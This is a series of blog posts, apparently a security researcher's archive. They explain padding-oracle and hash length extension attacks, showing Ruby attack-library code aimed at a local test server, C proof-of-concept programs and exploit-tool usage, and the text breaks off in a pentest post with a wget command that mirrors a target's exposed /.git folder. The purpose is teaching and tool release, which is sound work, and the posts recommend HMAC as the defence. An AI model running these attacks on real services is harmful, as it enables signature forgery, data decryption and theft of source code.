So, for the purpose of this discussion, let's imagine a Web server that puts data in a hidden field/cookie and attempts to decrypt the data when the client returns it, then reveals to the client whether or not the padding was correct, for example by returning a Web page with the user logged-in.

Block ciphers

All right, now that we have the situation in mind, let's take a step back and look at block ciphers.

A block cipher operates on data in fixed-size blocks — 64-bit for DES, 128-bit for AES, etc. It encrypts each block then moves onto the next one, and the next one, and so on. When the data is decrypted, it also starts with the first block, then the next, and so on.

This leads to two questions:

1. What happens if the length of the data isn't a multiple of the block size?
2. What happens if more than one block is identical, and therefore encrypts identically?

Let's look at each of those situations...

Padding

Padding, padding, padding. Always with the padding. So, every group of cryptographic standards uses different padding schemes. I don't know why. There may be a great reason, but I'm not a mathematician or a cryptographer, and I don't understand it. In the hash extension blog I wrote awhile back, I talked about how hashing algorithms pad — by adding a 1 bit, followed by a bunch of 0 bits, then the length (so, in terms of bytes, "\x80\x00\x00\x00 ... <length>"). That's not how block ciphers pad.

Every block cipher I've seen uses PKCS7 for padding. PKCS7 says that the value to pad with is the number of bytes of padding that are required. So, if the blocksize is 8 bytes and we have the string "ABC", it would be padded "ABC\x05\x05\x05\x05\x05". If we had "ABCDEFG", with padding it would become "ABCDEFG\x01".

Additionally, if the string is a multiple of the blocksize, an empty block of only padding is appended. This may sound weird — why use padding when you don't need it? — but it turns out that you couldn't otherwise distinguish, for example, the string "ABCDEFG\x01" from "ABCDEFG" (the "\x01" at the end looks like padding, but in reality it's part of the string). Therefore, "ABCDEFGH", with padding, would become "ABCDEFGH\x08\x08\x08\x08\x08\x08\x08\x08".

Exclusive or (XOR)

This is just a very quick note on the exclusive or — XOR — operator, for those of you who may not be familiar with its crypto usage. XOR — denoted as '⊕' throughout this document and usually denoted as '^' in programming languages — is a bitwise operator that is used, in crypto, to mix two values together in a reversible way. A plaintext XORed with a key creates ciphertext, and XORing it with that the key again restores the plaintext. It is used for basically every type of encryption in some form, due to this reversible properly, and the fact that once it's been XORed, it doesn't reveal any information about either value.

XOR is also commutative and a bunch of other mathy stuff. To put it into writing:

  A ⊕ A = 0
  A ⊕ 0 = A
  A ⊕ B = B ⊕ A
  (A ⊕ B) ⊕ C = A ⊕ (B ⊕ C)
  ∴ A ⊕ B ⊕ B = A ⊕ (B ⊕ B) = A ⊕ 0 = A

If you don't fully understand every line, please read up on the bitwise XOR operator before you continue! You won't understand any of this otherwise. You need to be very comfortable with how XOR works.

When we talk about XORing, it could mean a few things:

• When we talk about XORing bits, we simply XOR together the two arguments (0⊕0=0, 0⊕1=1, 1⊕0=1, 1⊕1=0)
• When we talk about XORing bytes, we XOR each bit in the first argument with the corresponding bit in the second
• When we talk about XORing strings, we XOR each byte in the first string with the corresponding byte in the second. If they have different lengths there's a problem in the algorithm and any result is invalid

Cipher-block chaining (CBC)

Now, this is where things get interesting. CBC. And not the Canadian television station, either — the cryptographic construct. This is what ensures that no two blocks — even if they contain identical plaintext — will encrypt to the same ciphertext. It does this by mixing the ciphertext from the previous round into the plaintext of the next round using the XOR operator. In mathematical notation:

  Let P   = the plaintext, and Pn = the plaintext of block n.
  Let C   = the corresponding ciphertext, and Cn = the ciphertext of block n.
  Let N   = the number of blocks (P and C have the same number of blocks by
            definition).
  Let IV  = the initialization vector — a random string — frequently
            (incorrectly) set to all zeroes.
  Let E() = a single-block encryption operation (any block encryption algorithm, such
            as AES or DES, it doesn't matter which), with some unique and unknown (to
            the attacker) secret key (that we don't notate here).
  Let D() = the corresponding decryption operation.

We can then define the encrypted ciphertext — C — in terms of the encryption algorithm, the plaintext, and the initialization vector:

  C1 = E(P1 ⊕ IV)
  Cn = E(Pn ⊕ Cn-1) — for all n > 1

You can use this Wikipedia diagram to help understand.

In English, the first block of plaintext is XORed with an initialization vector. The rest of the blocks of plaintext are XORed with the previous block of ciphertext. Thinking of the IV as C₀ can be helpful.

Decryption is the opposite:

  P1 = D(C1) ⊕ IV
  Pn = D(Cn) ⊕ Cn-1 - for all n > 1

You can use this Wikipedia diagram to help understand.

In English, this means that the first block of ciphertext is decrypted, then XORed with the IV. Remaining blocks are decrypted then XORed with the previous block of ciphertext. Note that this operation is between a ciphertext block — that we control — and a plaintext block — that we're interested in. This is important.

Once all blocks are decrypted, the padding on the last block is validated. This is also important.

The attack

Guess what? We now know enough to pull of this attack. But it's complicated and requires math, so let's be slow and gentle. [Editor's note: TWSS]

First, the attacker breaks the ciphertext into the individual blocks, based on the blocksize of the algorithm. We're going to decrypt each of these blocks separately. This can be done in any order, but going from the last to the first makes the most sense. C_N — remembering that C is the ciphertext and N is the number of blocks — is the value we're going to attack first.

Next, the attacker generates his own block of ciphertext. It doesn't matter what it decrypts to or what the value is. Typically we start with all zeroes, but any random text will work fine. In the tool I'm releasing, this is optimized for ASCII text, but that's beyond the scope of this discussion. We're going to denote this block as C′.

The attacker creates the string (C′ || C_n) — "||" is the concatenation operator in crypto notation — and sends it to the oracle for decryption. The oracle attempts to decrypt the string as follows:

  Let C′     = our custom-generated ciphertext block
  Let C′[k]  = the kth byte of our custom-generated ciphertext block
  Let P′     = the plaintext generated by decrypting our string, (C′ || Cn)
  Let P′n    = the nth block of P′
  Let P′n[k] = kth byte of the nth plaintext block
  Let K      = the number of bytes in each block

Now, we can define P′ in terms of our custom ciphertext, the IV, and the decryption function:

  P′1 = D(C′) ⊕ IV
  P′2 = D(CN) ⊕ C′

This shows the two blocks we created being decrypted in the usual way — P_n = D(C_n) ⊕ C_n-1.

P′₁ is going to be meaningless garbage — we don't care what it decrypts to — but P′₂ is where it gets interesting! Let's look more closely at P′₂:

  Given:       P′2 = D(Cn) ⊕ C′
  And knowing: Cn  = E(Pn ⊕ Cn-1)
  Implies:     P′2 = D(E(Pn ⊕ Cn-1)) ⊕ C′

Remember, the variables marked with prime — ′ — are ones that result from our custom equation, and variables without a prime are ones from the original equation.

We know that D(E(x)) = x, by the definition of encryption, so we can reduce the most recent formula to:

  P′2 = Pn ⊕ Cn-1 ⊕ C′

Now we have four values in our equation:

• P′₂: An unknown value that the server calculates during our "attack" (more on this later).
• P_n: An unknown value that we want to determine, from the original plaintext.
• C_n-1: A known value from the original ciphertext.
• C′: A value that we control, and can change at will.

You might see where we're going with this! Notice that we have a formula for P_n that doesn't contain any encryption operations, just XOR!

The problem is, we have two unknown values: we don't know P′₂ or P_n. A formula with two unknowns can't be solved, so we're outta luck, right?

Or are we?

Here comes the oracle!

Remember, we have one more piece of information — the padding oracle! That means that we can actually determine when P′₂[K] — the last byte of P′₂ — is equal to "\x01" (in other words, we can determine when P′₂ has valid padding)!

So now, let's take the formula we were using earlier, but instead of looking at the full strings, we'll look specifically at the last character of the encrypted strings:

  P′2[K] = Pn[K] ⊕ Cn-1[K] ⊕ C′[K]

We send (C′ || C_n) to the oracle with every possible value of C′[K], until we find a value that doesn't generate a padding error. When we find that value, we know beyond any doubt that the value at P′₂[K] is "\x01". Otherwise, the padding would be wrong. It HAS to be that way (actually, that's not entirely true, it can be "\x02" if P′₂[K-1] is "\x02" as well — we'll deal with that later).

At that point, we have the following variables:

• P′₂[K]: The valid padding value ("\x01").
• P_n[K]: The last byte of plaintext — our unknown value.
• C_n-1[K]: The last byte of the previous block of ciphertext — a known value.
• C′[K]: The byte we control — and previously modified — to create the valid padding.

All right, we have three known variables! Let's re-write the equation a little — XOR being commutative, we're allowed to move variables around at will:

  Original:       P′2[K] = Pn[K] ⊕ Cn-1[K] ⊕ C′[K]
  Re-arranged:    Pn[K] = P′2[K] ⊕ Cn-1[K] ⊕ C′[K]
  Substitute "1": Pn[K] = 1 ⊕ Cn-1[K] ⊕ C′[K]

We just defined P_n[K] using three known variables! That means that we plug in the values, and "turn the crank" as my former physics prof used to say, and we get the last byte of plaintext. Why? Because MATH!

Stepping back a bit

So, the math checks out, but what's going on conceptually?

Have another look at the Wikipedia diagram of cipher-block chaining. We're interested in the box in the very bottom-right corner — the padding. That value, as you can see on the diagram, is equal to the ciphertext left of it, XORed with the decrypted text above it.

Notice that there's no actual crypto that we have to defeat — just the XOR operation between a known value and the unknown value to produce a known value. Pretty slick, eh? Fuck your keys and transposition and s-boxes — I just broke your encryption after you did all that for me! :)

Iterating

So, we now know the value of the last character of P_N. That's pretty awesome, but it's also pretty boring, because the last byte is guaranteed to be padding (well, only if this is the last block). The question is, how do we get the second-, third-, and fourth-last bytes?

How do we calculate P_N[K-1]? Well, it turns out that it's pretty simple. If you've been following so far, you can probably already see it.

First, we have to set C′[K] to an appropriate value such that P′[K] = 2. Why 2? Because we are now interested the second-last byte of P′_N, and we can determine it by setting the last byte to 2, and trying every possible value of C′[K-1] until we stop getting padding errors, confirming that P′_N ends with "\x02\x02".

Ensuring that P′[K] = 2 easy (although you don't realize how easy until you realize how long it took me to work out and explain this formula for the blog); we just take this formula that we derived earlier, plug in '2' for P′[K], and solve for C′[K]:

  We have:         C′[K] = P′2[K] ⊕ PN[K] ⊕ CN-1[K]
  Plug in the "2": C′[K] = 2 ⊕ PN[K] ⊕ CN-1[K]

Where our variables are defined as:

• C′[K] — The last byte in the C′ block, which we're sending to the oracle and that we fully control.
• P_N[K] — The last byte in this block's plaintext, which we've solved for already.
• C_N-1[K] — The last byte in the previous ciphertext block, which we know.

I don't think I have to tell you how to calculate P_N[K-2], P_N[K-3], etc. It's the same principle, applied over and over from the end to the beginning.

A tricky little thing called the IV

In the same way that we can solve the last block of plaintext — P_N — we can also solve other blocks P_N-1, P_N-2, etc. In fact, you don't even have to solve from right to left — each block can be solved in a vacuum, as long as you know the ciphertext value of the previous block.

...which brings us to the first block, P₁. Earlier, we stated that P₁ is defined as:

  P1 = D(C1) ⊕ IV

The "last block" value for P₁ — the block we've been calling C_n-1 — is the IV. So what do you do?

Well, as far as I can tell, there's no easy answer. Some of the less easy answers are:

• Try a null IV — many implementations won't set an IV — which, of course, has its own set of problems. But it's common, so it's worth trying.
• If you can influence text near the beginning of the encrypted string — say, a username — use as much data as possible to force the first block to be filled with stuff we don't want anyway.
• Find a way to reveal the IV, which is fairly unlikely to happen.
• If you can influence the hashing algorithm, try using an algorithm with a shorter blocksize (like DES, which has a blocksize of 64 bits — only 8 bytes).
• If all else fails, you're outta luck, and you're only getting the second block and onwards. Sorry!

Poracle

If you follow my blog, you know that I rarely talk about an interesting concept without releasing a tool. That ain't how I roll. So, I present to you: Poracle (short for 'padding oracle', get it?)

Poracle is a library that I put together in Ruby. It's actually really, really simple. You have to code a module for the particular attack — unfortunately, because every attack is different, I can't make it any simpler than that. The module needs to implement a couple simple methods for getting values — like the blocksize and, if possible, the IV. The most important method, however, is attempt_decrypt(). It must attempt to decrypt the given block and return a boolean value based on its success — true if the padding was good, and false if it was not. Here's an example of a module I wrote for a HTTP service:

##
# RemoteTestModule.rb
# Created: December 10, 2012
# By: Ron Bowes
#
# A very simple implementation of a Padding Oracle module. Basically, it
# performs the attack against an instance of RemoteTestServer, which is an
# ideal padding oracle target.
##
#
require 'httparty'

class RemoteTestModule
  attr_reader :iv, :data, :blocksize

  NAME = "RemoteTestModule(tm)"

  def initialize()
    @data = HTTParty.get("http://localhost:20222/encrypt").parsed_response
    @data = [@data].pack("H*")
    @iv = nil
    @blocksize = 16
  end

  def attempt_decrypt(data)
    result = HTTParty.get("http://localhost:20222/decrypt/#{data.unpack("H*").pop}")

    return result.parsed_response !~ /Fail/
  end

  def character_set()
    # Return the perfectly optimal string, as a demonstration
    return ' earnisoctldpukhmf,gSywb0.vWD21'.chars.to_a
  end
end

Then, you create a new instance of the Poracle class, pass in your module, and call the decrypt() method. Poracle will do the rest! It looks something like this:

1 begin
2   mod = RemoteTestModule.new
3   puts Poracle.decrypt(mod, mod.data, mod.iv, true, true)
4 rescue Errno::ECONNREFUSED => e
5   puts(e.class)
6   puts("Couldn't connect to remote server: #{e}")
7 end

For more information, grab Poracle.rb and read the header comments. It'll be more complete and up-to-date than this blog post can ever be.

I implemented a couple test modules — a local and a remote. LocalTestModule.rb will generate its own ciphertext with any algorithm you want, then attempt_decrypt() simply tries to decrypt it in-line. Not very interesting, but good to make sure I didn't break anything.

RemoteTestModule.rb is more interesting. It comes with a server — RemoteTestServer.rb — which runs on Sinatra. The service is the simplest padding oracle vulnerability you can imagine — it has a path — "/encrypt" — that retrieves an encrypted string, and another path — "/decrypt" — that tries to decrypt it and reports "success" or "fail". That's it.

To try these, either just run "ruby DoTests.rb" or start the server with "ruby RemoteTestServer.rb" and then, in another window (or whatever), run "ruby DoTests.rb remote".

One interesting tidbit — Poracle doesn't actually require OpenSSL to function, or even an encryption library. All encryption and decryption are done by the service, not by Poracle. In fact, Poracle itself has not a single dependency (although the test modules do require OpenSSL, obviously, as well as Sinatra and httparty for the remote test module.

Backtracking

Do you ever have that feeling that you're an idiot? I do, on a regular basis, and I'm not really sure why... but I'm gonna tell you a story about the development of Poracle that helps explain why I never want to be a real programmer.

So, while developing Poracle, I was worried about false positives and backtracking. What happens if I was trying to guess the last byte and instead of "xx yy zz 01", we wound up with "xx yy zz 02", where zz = "02"? "02 02", or two twos, is valid padding. That means we thought we'd guessed a "01", but it's actually "02"! False positive!

That's obviously a problem, but I went further, well into the regions of insanity. What if we're cracking the second-last digit and it was a "03"? What if we're on the 13th digit and it's a "0d"? So, I decided I'd do backtracking. After finding each digit, I'd recurse, and find the next. If none of the 256 possible characters works for the next byte, I'd return and the caller would continue guessing bytes. That made things complicated. It's recursion, that's what it's for!

Then, to speed things up and clean up some of the code, I tried to convert it to iteration. Haha. Trying to go back and forth in an array to track where we were left off when we hit the bad padding was painful. I will spare you the madness of explaining where I went with that. It wasn't pretty.

That's when I started talking to Mak, who, contrary to popular belief, can actually save your sanity and not just drain it! He also makes a perfect rubber duck. Although he wasn't answering on IRC, I realized something just by explaining the problem to him — I can only ever get a padding error on the last digit of each block, because once I've sure — positive — that the last digit is "\x01", we can reliably set it to "\x02", "\x03", etc. Because math! That means that we only have to worry about accidentally getting "\x02\x02", "\x03\x03\x03", "\x04\x04\x04\x04", etc, on the last digit of the block, nowhere else.

Once I realized that, it was easy! After we successfully determine the last digit, we make one more request, where we XOR the second-last byte with "\x01". That means if that the string was originally ending with "\x02\x02", it would end with "\x03\x02" and the padding would fail.

So, with one extra request, I can do a nice, simple, clean, iterative algorithm, instead of a crazy complex recursive one. And that opened the door to... optimization!

Optimization

So, now we have clean, working code. However, this effectively guesses characters randomly. We try "\x00" to "\xFF" for the last byte of C′, but after all the XOR operations, the order that values are guessed for P_n is effectively random. But, what if instead of guessing values for C′, you guessed values for P_n? The math is actually quite simple and is based on this formula:

  Pn[k] = 1 ⊕ Cn-1[k] ⊕ C′[k]

Instead of choosing values for C′[k], you can choose the value for P_n[k] that you want to guess, then solve for C′[k]

Since most strings are ASCII or, at least, in some way predictable, I started guessing each character in order, from 0 to 255. Since ASCII tends to be lower, it sped things up by a significant amount. After some further tweaking, I came up with the following algorithm:

• If we're at the end of the last block, we start with guessing at "\x01", since that's the lowest possible byte that the (actual) padding can be.
• The last byte of the block is padding, so for that many bytes from the end, we guess the same byte. For example, if the last byte is "\x07", we guess "\x07" for the last 7 bytes — this lets us determine the padding bytes on our first guess every time!
• Finally, we weight more heavily toward ASCII characters, in order of the frequency that they occur in the English language, based on text from the Battlestar Galactica Wiki because, why not Cylon?

On my test block of text, running against a Web server on localhost, I improved a pretty typical attack from 33,020 queries taking 63 seconds to 2,385 queries and 4.71 seconds.

Ciphers

One final word — and maybe this will help with Google results :) — I've tested this successfully against the following ciphers:

• CAST-cbc
• aes-128-cbc
• aes-192-cbc
• aes-256-cbc
• bf-cbc
• camellia-128-cbc
• camellia-192-cbc
• camellia-256-cbc
• cast-cbc
• cast5-cbc
• des-cbc
• des-ede-cbc
• des-ede3-cbc
• desx-cbc
• rc2-40-cbc
• rc2-64-cbc
• rc2-cbc
• seed-cbc

But that's not interesting, because this isn't an attack against ciphers. It's an attack against cipher-block chaining — CBC — that can occur against any block cipher.

Conclusion

So, hopefully you understand a little bit about how padding oracles work. If you haven't read my blog about hash extension attacks, go do that. It's pretty cool. Otherwise, if you're going to be around for Shmoocon in DC this winter, come see my talk!

This is just a super quick post today to direct you here - http://www.skullspace.ca/blog/2012/11/skullspace-2-0-the-new-frontier/.

That's a post I wrote about SkullSpace - the hackerspace that me and several others helped found a couple years ago. We went down a "too good to be true" road, where we had a ton of space and super cheap rent. And, eventually, got bitten by it. We're in the process of moving, and started a fundraiser to make it happen.

Anyway, read the post! It's interesting. :)

Ron

(Administrative note: I'm no longer at Tenable! I left on good terms, and now I'm a consultant at Leviathan Security Group. Feel free to contact me if you need more information!)

Awhile back, my friend @mogigoma and I were doing a capture-the-flag contest at https://stripe-ctf.com. One of the levels of the contest required us to perform a hash length extension attack. I had never even heard of the attack at the time, and after some reading I realized that not only is it a super cool (and conceptually easy!) attack to perform, there is also a total lack of good tools for performing said attack! After hours of adding the wrong number of null bytes or incorrectly adding length values, I vowed to write a tool to make this easy for myself and anybody else who's trying to do it. So, after a couple weeks of work, here it is!

Now I'm gonna release the tool, and hope I didn't totally miss a good tool that does the same thing! It's called hash_extender, and implements a length extension attack against every algorithm I could think of:

• MD4
• MD5
• RIPEMD-160
• SHA-0
• SHA-1
• SHA-256
• SHA-512
• WHIRLPOOL

I'm more than happy to extend this to cover other hashing algorithms as well, provided they are "vulnerable" to this attack — MD2, SHA-224, and SHA-384 are not. Please contact me if you have other candidates and I'll add them ASAP!

The attack

An application is susceptible to a hash length extension attack if it prepends a secret value to a string, hashes it with a vulnerable algorithm, and entrusts the attacker with both the string and the hash, but not the secret. Then, the server relies on the secret to decide whether or not the data returned later is the same as the original data.

It turns out, even though the attacker doesn't know the value of the prepended secret, he can still generate a valid hash for {secret || data || attacker_controlled_data}! This is done by simply picking up where the hashing algorithm left off; it turns out, 100% of the state needed to continue a hash is in the output of most hashing algorithms! We simply load that state into the appropriate hash structure and continue hashing.

TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.

Example

Let's look at a step-by-step example. For this example:

• let secret = "secret"
• let data = "data"
• let H = md5()
• let signature = hash(secret || data) = 6036708eba0d11f6ef52ad44e8b74d5b
• let append = "append"

The server sends data and signature to the attacker. The attacker guesses that H is MD5 simply by its length (it's the most common 128-bit hashing algorithm), based on the source, or the application's specs, or any way they are able to.

Knowing only data, H, and signature, the attacker's goal is to append append to data and generate a valid signature for the new data. And that's easy to do! Let's see how.

Padding

Before we look at the actual attack, we have to talk a little about padding.

When calculating H(secret + data), the string (secret + data) is padded with a '1' bit and some number of '0' bits, followed by the length of the string. That is, in hex, the padding is a 0x80 byte followed by some number of 0x00 bytes and then the length. The number of 0x00 bytes, the number of bytes reserved for the length, and the way the length is encoded, depends on the particular algorithm and blocksize.

With most algorithms (including MD4, MD5, RIPEMD-160, SHA-0, SHA-1, and SHA-256), the string is padded until its length is congruent to 56 bytes (mod 64). Or, to put it another way, it's padded until the length is 8 bytes less than a full (64-byte) block (the 8 bytes being size of the encoded length field). There are two hashes implemented in hash_extender that don't use these values: SHA-512 uses a 128-byte blocksize and reserves 16 bytes for the length field, and WHIRLPOOL uses a 64-byte blocksize and reserves 32 bytes for the length field.

The endianness of the length field is also important. MD4, MD5, and RIPEMD-160 are little-endian, whereas the SHA family and WHIRLPOOL are big-endian. Trust me, that distinction cost me days of work!

In our example, length(secret || data) = length("secretdata") is 10 (0x0a) bytes, or 80 (0x50) bits. So, we have 10 bytes of data ("secretdata"), 46 bytes of padding (80 00 00 ...), and an 8-byte little-endian length field (50 00 00 00 00 00 00 00), for a total of 64 bytes (or one block). Put together, it looks like this:

  0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......

Breaking down the string, we have:

• "secret" = secret
• "data" = data
• 80 00 00 ... — The 46 bytes of padding, starting with 0x80
• 50 00 00 00 00 00 00 00 — The bit length in little endian

This is the exact data that H hashed in the original example.

The attack

Now that we have the data that H hashes, let's look at how to perform the actual attack.

First, let's just append append to the string. Easy enough! Here's what it looks like:

  0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......
  0040  61 70 70 65 6e 64                                append

The hash of that block is what we ultimately want to a) calculate, and b) get the server to calculate. The value of that block of data can be calculated in two ways:

• By sticking it in a buffer and performing H(buffer)
• By starting at the end of the first block, using the state we already know from signature, and hashing append starting from that state

The first method is what the server will do, and the second is what the attacker will do. Let's look at the server, first, since it's the easier example.

Server's calculation

We know the server will prepend secret to the string, so we send it the string minus the secret value:

  0000  64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00  data............
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64  ..P.......append

Don't be fooled by this being exactly 64 bytes (the blocksize) — that's only happening because secret and append are the same length. Perhaps I shouldn't have chosen that as an example, but I'm not gonna start over!

The server will prepend secret to that string, creating:

  0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......
  0040  61 70 70 65 6e 64                                append

And hashes it to the following value:

  6ee582a1669ce442f3719c47430dadee

For those of you playing along at home, you can prove this works by copying and pasting this into a terminal:

  echo '
  #include <stdio.h>
  #include <openssl/md5.h>

  int main(int argc, const char *argv[])
  {
    MD5_CTX c;
    unsigned char buffer[MD5_DIGEST_LENGTH];
    int i;

    MD5_Init(&c);
    MD5_Update(&c, "secret", 6);
    MD5_Update(&c, "data"
                   "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x50\x00\x00\x00\x00\x00\x00\x00"
                   "append", 64);
    MD5_Final(buffer, &c);

    for (i = 0; i < 16; i++) {
      printf("%02x", buffer[i]);
    }
    printf("\n");
    return 0;
  }' > hash_extension_1.c

  gcc -o hash_extension_1 hash_extension_1.c -lssl -lcrypto

  ./hash_extension_1

All right, so the server is going to be checking the data we send against the signature 6ee582a1669ce442f3719c47430dadee. Now, as the attacker, we need to figure out how to generate that signature!

Client's calculation

So, how do we calculate the hash of the data shown above without actually having access to secret?

Well, first, we need to look at what we have to work with: data, append, H, and H(secret || data).

We need to define a new function, H′, which uses the same hashing algorithm as H, but whose starting state is the final state of H(secret || data), i.e., signature. Once we have that, we simply calculate H′(append) and the output of that function is our hash. It sounds easy (and is!); have a look at this code:

  echo '
  #include <stdio.h>
  #include <openssl/md5.h>

  int main(int argc, const char *argv[])
  {
    int i;
    unsigned char buffer[MD5_DIGEST_LENGTH];
    MD5_CTX c;

    MD5_Init(&c);
    MD5_Update(&c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 64);

    c.A = htonl(0x6036708e); /* <-- This is the hash we already had */
    c.B = htonl(0xba0d11f6);
    c.C = htonl(0xef52ad44);
    c.D = htonl(0xe8b74d5b);

    MD5_Update(&c, "append", 6); /* This is the appended data. */
    MD5_Final(buffer, &c);
    for (i = 0; i < 16; i++) {
      printf("%02x", buffer[i]);
    }
    printf("\n");
    return 0;
  }' > hash_extension_2.c

  gcc -o hash_extension_2 hash_extension_2.c -lssl -lcrypto

  ./hash_extension_2

The the output is, just like before:

  6ee582a1669ce442f3719c47430dadee

So we know the signature is right. The difference is, we didn't use secret at all! What's happening!?

Well, we create a MD5_CTX structure from scratch, just like normal. Then we take the MD5 of 64 'A's. We take the MD5 of a full (64-byte) block of 'A's to ensure that any internal values — other than the state of the hash itself — are set to what we expect.

Then, after that is done, we replace c.A, c.B, c.C, and c.D with the values that were found in signature: 6036708eba0d11f6ef52ad44e8b74d5b. This puts the MD5_CTX structure in the same state as it finished in originally, and means that anything else we hash — in this case append — will produce the same output as it would have had we hashed it the usual way.

We use htonl() on the values before setting the state variables because MD5 — being little-endian — outputs its values in little-endian as well.

Result

So, now we have this string:

  0000  64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00  data............
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64  ..P.......append

And this signature for H(secret || data || append):

  6ee582a1669ce442f3719c47430dadee

And we can generate the signature without ever knowing what the secret was! So, we send the string to the server along with our new signature. The server will prepend the signature, hash it, and come up with the exact same hash we did (victory!).

The tool

You can grab the hash_extender tool on Github!

This example took me hours to write. Why? Because I made about a thousand mistakes writing the code. Too many NUL bytes, not enough NUL bytes, wrong endianness, wrong algorithm, used bytes instead of bits for the length, and all sorts of other stupid problems. The first time I worked on this type of attack, I spent from 2300h till 0700h trying to get it working, and didn't figure it out till after sleeping (and with Mak's help). And don't even get me started on how long it took to port this attack to MD5. Endianness can die in a fire.

Why is it so difficult? Because this is crypto, and crypto is immensely complicated and notoriously difficult to troubleshoot. There are lots of moving parts, lots of side cases to remember, and it's never clear why something is wrong, just that the result isn't right. What a pain!

So, I wrote hash_extender. hash_extender is (I hope) the first free tool that implements this type of attack. It's easy to use and implements this attack for every algorithm I could think of.

Here's an example of its use:

  $ ./hash_extender --data data --secret 6 --append append --signature 6036708eba0d11f6ef52ad44e8b74d5b --format md5
  Type: md5
  Secret length: 6
  New signature: 6ee582a1669ce442f3719c47430dadee
  New string: 64617461800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000617070656e64

If you're unsure about the hash type, you can let it try different types by leaving off the --format argument. I recommend using the --table argument as well if you're trying multiple algorithms:

  $ ./hash_extender --data data --secret 6 --append append --signature 6036708eba0d11f6ef52ad44e8b74d5b --out-data-format html --table
  md4       89df68618821cd4c50dfccd57c79815b data80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000P00000000000000append
  md5       6ee582a1669ce442f3719c47430dadee data80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000P00000000000000append

There are plenty of options for how you format inputs and outputs, including HTML (where you use %NN notation), CString (where you use \xNN notation, as well as \r, \n, \t, etc.), hex (such as how the hashes were specified above), etc.

By default I tried to choose what I felt were the most reasonable options:

• Input data: raw
• Input hash: hex
• Output data: hex
• Output hash: hex

Here's the help page for reference:

--------------------------------------------------------------------------------
HASH EXTENDER
--------------------------------------------------------------------------------

By Ron Bowes 

See LICENSE.txt for license information.

Usage: ./hash_extender <--data=|--file=> --signature= --format=
 [options]

INPUT OPTIONS
-d --data=
      The original string that we're going to extend.
--data-format=

      The format the string is being passed in as. Default: raw.
      Valid formats: raw, hex, html, cstr
--file=
      As an alternative to specifying a string, this reads the original string
      as a file.
-s --signature=
      The original signature.
--signature-format=

      The format the signature is being passed in as. Default: hex.
      Valid formats: raw, hex, html, cstr
-a --append=
      The data to append to the string. Default: raw.
--append-format=

      Valid formats: raw, hex, html, cstr
-f --format= [REQUIRED]
      The hash_type of the signature. This can be given multiple times if you
      want to try multiple signatures. 'all' will base the chosen types off
      the size of the signature and use the hash(es) that make sense.
      Valid types: md4, md5, ripemd160, sha, sha1, sha256, sha512, whirlpool
-l --secret=
      The length of the secret, if known. Default: 8.
--secret-min=
--secret-max=
      Try different secret lengths (both options are required)

OUTPUT OPTIONS
--table
      Output the string in a table format.
--out-data-format=

      Output data format.
      Valid formats: none, raw, hex, html, html-pure, cstr, cstr-pure, fancy
--out-signature-format=

      Output signature format.
      Valid formats: none, raw, hex, html, html-pure, cstr, cstr-pure, fancy

OTHER OPTIONS
-h --help
      Display the usage (this).
--test
      Run the test suite.
-q --quiet
      Only output what's absolutely necessary (the output string and the
      signature)

Defense

So, as a programmer, how do you solve this? It's actually pretty simple. There are two ways:

• Don't trust a user with encrypted data or signatures, if you can avoid it.
• If you can't avoid it, then use HMAC instead of trying to do it yourself. HMAC is designed for this.

HMAC is the real solution. HMAC is designed for securely hashing data with a secret key.

As usual, use constructs designed for what you're doing rather than doing it yourself. The key to all crypto! [pun intended]

And finally, you can grab the hash_extender tool on Github!

While I was doing a pentest last month, I discovered an attack I didn't previously know, and I thought I'd share it. This may be a Christopher Columbus moment - discovering something that millions of people already knew about - but I found it pretty cool so now you get to hear about it!

One of the first things I do when I'm looking at a Web app - and it's okay to make a lot of noise - is run the http-enum.nse Nmap script. This script uses the http-fingerprints.lua file to find any common folders on a system (basically brute-force browsing). I'm used to seeing admin folders, tmp folders, and all kinds of other interesting stuff, but one folder in particular caught my eye this time - /.git.

Now, I'll admit that I'm a bit of an idiot when it comes to git. I use it from time to time, but not in any meaningful way. So, I had to hit up my friend @mogigoma. He was on his cellphone, but managed to get me enough info to make this attack work.

First, I tried to use git clone to download the source. That failed, and I didn't understand why, so I gave up that avenue right away.

Next, I wanted to download the /.git folder. Since directory listings were turned on, this was extremely easy:

$ mkdir git-test
$ cd git-test
$ wget --mirror --include-directories=/.git http://www.target.com/.git

